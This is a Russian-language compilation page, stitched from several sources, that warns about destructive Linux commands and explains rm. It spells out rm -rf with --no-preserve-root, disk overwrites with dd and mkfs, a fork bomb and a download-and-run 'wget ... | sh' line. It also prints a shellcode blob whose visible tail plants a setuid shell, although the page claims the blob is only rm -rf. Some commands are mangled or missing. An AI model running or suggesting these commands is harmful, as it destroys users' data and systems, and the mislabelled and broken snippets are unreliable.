No preserve root linux

Содержание
  1. sudo rm -rf —no-preserve-root / vs sudo rm -rf /*
  2. 2 Answers 2
  3. Как уничтожить Linux одной командой. Команда rm —rf /
  4. Видео: выполнение команды rm -rf / на реальной системе Linux
  5. 10 команд Linux, способных уничтожить вашу систему
  6. Убийственная команда rm -rf /*
  7. /dev/sda – уничтожаем файловую систему!
  8. mv ~ /dev/null или как отправить все свои данные в бездну
  9. Форматируем жесткий диск с помощью mkfs.ext3 /dev/sda
  10. Форк-бомба: простая, но опасная
  11. command > config_filename – перезаписываем важные файлы конфигурации
  12. Рецепт коктейля Молотова для корневых разделов – dd if=/dev/random of=/dev/sda
  13. chmod -R 777/ – команда для тех, кому нечего скрывать
  14. Любите рисковать – запустите wget http://вредоносный_сайт -O- | sh
  15. Самое необычное напоследок – замаскированная rm -rf /*
  16. Подведем итоги
  17. Команда rm
  18. Синтаксис
  19. Опции
  20. Примечание
  21. Примеры использования команды rm
  22. Удалить файл
  23. Принудительно удалить защищенный файл
  24. Удалить все файлы в текущей директории
  25. Выдавать запрос перед удалением каждого файла
  26. Выдать запрос на удаление один раз
  27. Удалить директорию и ее содержимое
  28. Видео: Удаление корневого раздела командой RM

sudo rm -rf —no-preserve-root / vs sudo rm -rf /*

As everyone knows, these are two deadly unix commands that both tell a machine to commit suicide. But what is the difference between the two? The first one deletes the root directory, while the second one deletes everything in it. Both are equally bad, but will the first one delete the filesystem because it deletes the root directory itself? What is the difference?

2 Answers 2

The same difference as with rm -r dir and rm -r dir/* .

The second only removes whatever the glob matches, usually every file whose name doesn’t start with a dot, but can be configured in bash and likely others. It also fails if you have lots of files in the directory since the command line can only fit so much. Not that you’d usually have either in the root directory, but still.

The first one will recurse into dir , removing all contents, and then the directory itself. But as said, you can’t remove the root directory anyway. On Linux, the error you get is Device or resource busy , which is exactly what you get trying to remove any directory holding a mounted filesystem. (It doesn’t even bother checking if the directory is empty before dropping that.)

For the same reason, you can’t usually get the root directory empty either, you’ll have stuff like /proc and /sys (on Linux) mounted, and you can’t remove the mount points without unmounting them.

And well, strictly speaking, removing all files doesn’t kill the system. It just makes the usual paradigm of launching external programs to do stuff a bit hard to use. But running programs that don’t need any files on the file system any longer wouldn’t be affected. You might be able to try it with something like the busybox shell, that has integrated rm and ls . (Booting up the next time might be hard though, if your boot files were on a mounted filesystem.)

Источник

Как уничтожить Linux одной командой. Команда rm —rf /

Команда rm -rf / является довольно популярной в узких кругах. Но не потому, что ей постоянно пользуются, а наоборот. Это что-то вроде шутки у заядлых линуксоидов.

Читайте также:  Загрузка linux windows настроить

Видео: выполнение команды rm -rf / на реальной системе Linux

Все, что вы прочитаете ниже, написано только в информационных целях, не повторяйте этого на своем компьютере.

Команда rm -rf / , выполненная от имени суперпользователя, уничтожит все данные с корневого раздела диска.

Ключ -r используется для того, чтобы выполнять рекурсивный обход всех директорий.
Ключ -f — force — не запрашивать никаких подтверждений.

Если выполнить эту команду в терминале, а именно выполнить:

то появится предупреждение о том, что выполнение команды опасно:

rm: опасно рекурсивно обрабатывать '/' rm: используйте --no-preserve-root, чтобы отменить предупреждение об опасности

Таким образом программа rm защищает сама себя от плохих действий. Но сразу же сообщает нам, что мы можем использовать ключ —no-preserve-root , чтобы обойти это предупреждение.

sudo rm --no-preserve-root -rf /

то все данные с корневого раздела диска будут удалены!

Иногда данная команда используется, чтобы «подшутить» над новичками в Linux. Некоторые пользователи на форумах советуют «чайникам» выполнить данную команду, чтобы решить свои проблемы. Чтобы шутка удалась, саму команду иногда маскируют, например, вставляют ее внутрь другой длинной команды, чтобы она не так выделялась.

Процесс работы rm -rf / примерно следующий:

  • Команда выполняется от имени суперпользователя.
  • Копия программы rm загружается в оперативную память.
  • Программа rm начинает удаление всех файлов с корневого раздела /.
  • Во время удаления файлов программа rm в какой-то момент удаляет и саму себя (исполняемый файл программы, файл /bin/rm). Но так как копия программы находится в оперативной памяти, то она продолжает работать, не смотря на то, что исполняемый файл уже удален.
  • Когда удаление файлов завершено, программа rm выгружается из оперативной памяти.
  • На данном этапе в памяти находятся только те программы, которые уже были там до выполнения команды rm (например, ядро, драйвера, окно терминала и так далее).

Очень важный момент, который нужно учитывать. Современные UEFI системы монтируют директорию с прошивками в директорию /sys. Так как rm удаляет все файлы и с примонтированных разделов, то прошивки также будут удалены. Таким образом можно получить не только неработающую систему, но и неработающий компьютер. Будьте внимательны.

Источник

10 команд Linux, способных уничтожить вашу систему

Как мы знаем, у пользователей Linux есть множество команд и инструментов, позволяющих гибко настраивать и контролировать каждый аспект ОС. Однако, с большой силой приходит большая ответственность – есть множество команд, способных нарушить обычную работу Linux и привести к печальным последствиям.
Поэтому давайте вместе разберемся, какие команды Linux не стоит вводить ни при каких обстоятельствах.

Убийственная команда rm -rf /*

  • rm – команда для удаления файлов/каталогов;
  • -r – флаг, необходимый для рекурсивного удаления всех файлов внутри папки;
  • -f – флаг, позволяющий выполнить операцию без спроса у пользователя.

Без root-прав эта команда не принесет никакого вреда. Даже sudo rm -rf / не создаст никаких проблем, так как у большей части популярных дистрибутивов есть защита от выполнения этой команды. За это отвечает функция —preserve-root.

Однако, если вы все же хотите выполнить эту команду, у вас есть два варианта:

Читайте также:  Set dns setting linux

После выполнения система начнет рекурсивно удалять вообще все файлы, начиная с корневой директории, пока система не зависнет с сообщением “Error deleting file”. После перезагрузки Linux обычно выдает ошибку grub-rescue.

/dev/sda – уничтожаем файловую систему!

Пользователи, знакомые с файловыми системами, наверняка знают что такое > /dev/sda. Эта строка запускает команду и посылает результат ее работы прямо на жесткий диск, записывая данные непосредственно на него, тем самым повреждая файловую систему. Вот пример:

Команда заменит раздел, содержащий все данные, необходимые для загрузки системы, строкой «Hello».

mv ~ /dev/null или как отправить все свои данные в бездну

Внутри каждой Linux-системы есть бездна. И эта бездна – /dev/null. Все, что окажется в этой области, будет удалено навсегда. Давайте разберем и эту команду:

  • mv – необходима для переноса файлов и каталогов в указанное место;
  • ~ – указатель на домашний каталог;
  • /dev/null – перемещает домашний каталог на устройство /dev/null, уничтожая тем самым все ваши файлы и удаляя копии оригинало в.

И хотя система не выдаст ошибку и будет работать исправно, после выполнения mv ~ /dev/null все данные пользователя бесследно исчезнут.

Форматируем жесткий диск с помощью mkfs.ext3 /dev/sda

Команда, подобная format c: на Windows. Устроена она довольно просто:

  • mkfs.ex3 – создает новую файловую систему ext3 на устройстве;
  • /dev/sda – указывает на жесткий диск.

Вот и все! Несложная команда оставляет пользователя без всех данных.

Форк-бомба: простая, но опасная

:()<:|:&>;: – комбинация из специальных символов, как будто выбранных наугад. Однако, она достаточно мощная, чтобы остановить работу работающей системы, просто заняв собой все доступные ресурсы.

Работает она предельно просто – создаёт функцию, запускающую еще два своих экземпляра, которые потом будут повторять этот процесс. И это будет продолжаться до тех пор, пока процесс не займет всю физическую память компьютера, заставив его зависнуть.

command > config_filenameперезаписываем важные файлы конфигурации

С command > config_filename все просто – она просто очищает содержимое конфигурационного файла и записывает в него новые данные. Таким образом можно легко повредить систему, случайно перезаписав важный конфигурационный файл.

Рецепт коктейля Молотова для корневых разделовdd if=/dev/random of=/dev/sda

Здесь все просто – команда забивает память компьютера мусором. А вот как она это делает:

  • dd – низкоуровневый инструмент для копирования;
  • if=/dev/random – задает /dev/random в качестве входа;
  • of=/dev/sda – выдает данные на жесткий диск.

Мощный компьютер способен выдержать эту команду, но вот слабые системы могут очень сильно пострадать.

chmod -R 777/ – команда для тех, кому нечего скрывать

chmod -R 777/ открывает доступ ко всем файлам, расположенным в корневом разделе. Это не очень хорошо, так как после выполнения команды любой пользователь права на чтение, запись и выполнение любых файлов.

Любите рисковать – запустите wget http://вредоносный_сайт -O- | sh

Команда, позволяющая скачать и выполнить скрипт, взятый с сайта в интернете. В этом случае, если скрипт окажется вредоносным, то безопасность всей системы пользователя окажется под угрозой, ведь команда выполнит его с root-правами, даже не спрашивая разрешения на выполнение.

Самое необычное напоследок – замаскированная rm -rf /*

Linux позволяет запускать команды в терминале самыми разными способами. Один из них – ввод команды в шестнадцатеричном коде.

char esp[] __attribute__ ((section(“.text”))) /* e.s.p release */ = “\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68” “\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99” “\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7” “\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56” “\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31” “\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69” “\x6e\x2f\x73\x68\x00\x2d\x63\x00” “cp -p /bin/sh /tmp/.beyond; chmod 4755 /tmp/.beyond;”;

Несмотря на необычный внешний вид, эта команда является шестнадцатеричной rm -rf /*. Поэтому будьте осторожны, копируя необычные команды!

Читайте также:  What is linux server operating system

Подведем итоги

Помните, что именно вы отвечаете за последствия необдуманного выполнения опасных команд. Ведь работа UNIX заключается не в том, чтобы не дать вам прострелить себе ногу. А в том, что если вы решили это сделать – отправить пулю в вашу ногу самым эффективным способом, который у нее есть.

Это в той же степени применимо к Linux. Вы получаете полный контроль над своей системой и только вы решаете, что с ней делать.

Интересуетесь, как ХАКЕРЫ обходят системы защиты?

Подпишитесь на наш ТГ канал и хакеры будут обходить вас стороной.

Источник

Команда rm

Команда rm в Linux

По умолчанию команда rm не удаляет директории. Чтобы удалить директорию и все ее содержимое, включая вложенные директории, нужно использовать опцию -r (рекурсивное удаление).

Синтаксис

файл(ы) — один или несколько файлов и/или директорий, записанных через пробел. Можно использовать шаблон (например, *.txt ).

Опции

Игнорировать несуществующие файлы и аргументы. Никогда не выдавать запросы на подтверждение удаления.

Выдать один запрос на подтверждение удаления всех файлов, если удаляется больше трех файлов или используется рекурсивное удаление. Опция применяется, как более «щадящая» версия опции -i

  • never — никогда не выдавать запросы на подтверждение удаления.
  • once — выводить запрос один раз (аналог опции -I ).
  • always — выводить запрос всегда (аналог опции -i ).

Если значение КОГДА не задано, то используется always

Если в качестве директории для удаления задан корневой раздел / , то считать, что это обычная директория и начать выполнять удаление.

Если в качестве директории для удаления задан корневой раздел / , то запретить выполнять команду rm над корневым разделом. Данное поведение используется по умолчанию.

Примечание

Если нужно удалить файл, название которого начинается с символа — , например, файл -myfile , то используется следующая команда:

Примеры использования команды rm

Удалить файл

Чтобы удалить файл с помощью команды rm достаточно указать название файла:

Можно удалить несколько файлов, перечислив их имена через пробел:

rm myfile1.txt myfile2.txt myfile3.txt

Принудительно удалить защищенный файл

Если файл защищен от записи, то по умолчанию будет выдан запрос на подтверждение операции удаления. Чтобы запрос не выводился, и происходило удаление защищенных файлов, используется опция -f

Удалить все файлы в текущей директории

Чтобы удалить все файлы в текущей директории можно использовать шаблонную запись звездочка *

Выдавать запрос перед удалением каждого файла

Чтобы перед удалением каждого файла выводилось подтверждение на удаление данного файла, используется опция -i

Выдать запрос на удаление один раз

При использовании опции -I выводится всего один запрос на подтверждение удаления файлов, причем, только если удаляемых файлов четыре и более. Если файлов 3, или 2, или 1, то запрос не выводится.

Команда RM. Запрос на удаление файлов

Удалить директорию и ее содержимое

Для удаления директорий и их содержимого используется опция -r . Удалим директорию mydir и все файлы и директории внутри нее:

Видео: Удаление корневого раздела командой RM

Источник

Оцените статью
Adblock
detector